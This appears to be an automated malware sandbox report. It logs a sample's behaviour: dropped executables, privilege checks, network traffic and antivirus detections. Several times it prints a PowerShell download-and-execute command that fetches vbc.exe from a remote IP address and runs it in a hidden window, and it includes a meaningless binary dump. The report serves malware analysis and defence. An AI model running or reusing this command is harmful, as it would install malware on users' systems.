NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:11 a.m.	process_identifier: 1616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef16b0000 process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\vbc.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
cmdline	powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
cmdline	cmd /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
cmdline	powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\vbc.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\vbc.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 3, 2021, 9:11 a.m.	show_type: 0 filepath_r: cmd parameters: /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswbc/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit filepath: cmd	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 3, 2021, 9:11 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (1 event)

Data received

ûÿÿMàLûÿÿUôHûÿÿÇDûÿÿPÿÿÿ@ûÿÿM<ûÿÿ\ÿÿÿ8ûÿÿLÿÿÿ4ûÿÿÇ0ûÿÿxÿÿÿ,ûÿÿU¼(ûÿÿEä$ûÿÿMì ûÿÿÇûÿÿÇûÿÿUûÿÿEøûÿÿÇûÿÿÇØþÿÿPÃÎMûÿÿlÿÿÿûÿÿÇûÿÿEÜüúÿÿÆfÿÿÿMøúÿÿ`ÿÿÿôúÿÿ\ÿÿÿðúÿÿlÿÿÿìúÿÿUèúÿÿE¼äúÿÿMàúÿÿÇÿÿÿUðÜúÿÿÇÿÿÿV(ÿ¦øþÿÿØúÿÿ(ÿÿÿÔúÿÿU¬ÐúÿÿE´ÌúÿÿM°ÈúÿÿÇÄúÿÿUüÀúÿÿÇ¼úÿÿÇüþÿÿÿÿÿÿÇ¸úÿÿXÿÿÿ´úÿÿM¸°úÿÿUÜ¬úÿÿÇ¨úÿÿ(ÿÿÿ¤úÿÿM úÿÿÿÿÿúÿÿEúÿÿM°úÿÿUÜúÿÿtÿÿÿúÿÿÇúÿÿHÿÿÿúÿÿÿÿÿúÿÿEÔ|úÿÿtÿÿÿxúÿÿPÿÿÿtúÿÿEøpúÿÿ$ÿÿÿlúÿÿhÿÿÿhúÿÿÇdúÿÿEÌ`úÿÿÇ\úÿÿÇXúÿÿM°TúÿÿLÿÿÿPúÿÿÇ ÿÿÿÇ¼þÿÿÇLúÿÿEðHúÿÿÇDúÿÿM@úÿÿÇ<úÿÿÇ8úÿÿhÿÿÿ4úÿÿ ÿÿÿ0úÿÿM,úÿÿUô(úÿÿØþÿÿ$úÿÿhÿÿÿ úÿÿÇúÿÿU¤úÿÿÇúÿÿE¼úÿÿM°úÿÿ@ÿÿÿúÿÿE úÿÿMìúÿÿUÔüùÿÿ\ÿÿÿøùÿÿüþÿÿôùÿÿÇDÿÿÿ£ÿ+ÇðùÿÿUìùÿÿtÿÿÿèùÿÿM¬äùÿÿÇàùÿÿÇÄþÿÿÔþÿÿÜùÿÿEðØùÿÿÇÐþÿÿ}ôèrMàÔùÿÿUøÐùÿÿEìÌùÿÿ|ÿÿÿÈùÿÿXÿÿÿÄùÿÿEÀùÿÿÇ¼ùÿÿTÿÿÿ¸ùÿÿU´´ùÿÿÇ°ùÿÿE¬ùÿÿÐþÿÿ¨ùÿÿÇ¤ùÿÿUØ ùÿÿE ùÿÿ@ÿÿÿùÿÿDÿÿÿùÿÿÇùÿÿEùÿÿÇùÿÿMäùÿÿÇùÿÿU°|ùÿÿEÔxùÿÿMÐtùÿÿÇpùÿÿÇlùÿÿÇÿÿÿöÿÿÿUhùÿÿÇdùÿÿÿÿÿ`ùÿÿMø\ùÿÿUàXùÿÿETùÿÿ4ÿÿÿPùÿÿU¸LùÿÿÇHùÿÿEÐDùÿÿÿÿÿ@ùÿÿUä<ùÿÿÇ8ùÿÿÌþÿÿ4ùÿÿÈþÿÿ0ùÿÿÄþÿÿ,ùÿÿE(ùÿÿMà$ùÿÿÇ ùÿÿÇùÿÿ ÿÿÿùÿÿEÜùÿÿM ùÿÿÇùÿÿÿÿÿÿÇÿÿÿ2'DÿÿÿùÿÿÇùÿÿÇùÿÿÿÿÿüøÿÿMøøÿÿÇôøÿÿU¤ðøÿÿPÿÿÿìøÿÿMÔèøÿÿÇÀþÿÿUÐäøÿÿÇàøÿÿJÇÜøÿÿLÿÿÿØøÿÿÇÔøÿÿ

Poweshell is sending data to a remote host (1 event)

Data sent

GET /kswbc/vbc.exe HTTP/1.1 Host: 198.23.251.109 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 3, 2021, 9:11 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 3, 2021, 9:12 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

198.23.251.109

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send Sept. 3, 2021, 9:11 a.m.	buffer: GET /kswbc/vbc.exe HTTP/1.1 Host: 198.23.251.109 Connection: Keep-Alive socket: 1256 sent: 77	1	77	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Local\Temp\vbc.exe"
parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Local\Temp\vbc.exe

Creates a suspicious Powershell process (3 events)

value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line

File has been identified by 23 AntiVirus engines on VirusTotal as malicious (23 events)

FireEye	Generic.mg.b5bace5942a11ab8
Cylance	Unsafe
Sangfor	Suspicious.Win32.Save.a
Alibaba	Trojan:MSIL/Nitol.0fbcf4c4
CrowdStrike	win/malicious_confidence_80% (W)
Cyren	W32/MSIL_Troj.AJI.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Kryptik.ACOO
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.MSIL.Nitol.gen
Avast	FileRepMalware
Sophos	Mal/Generic-S
McAfee-GW-Edition	BehavesLike.Win32.Generic.xz
Ikarus	Win32.Outbreak
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	Trojan:Win32/Wacatac.B!ml
McAfee	Artemis!B5BACE5942A1
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_97%
Fortinet	MSIL/Kryptik.ACOO!tr
AVG	FileRepMalware
MaxSecure	Trojan.Malware.300983.susgen

Powershell Downloader DFSP detected (1 event)

The process powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\vbc.exe

kswbc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All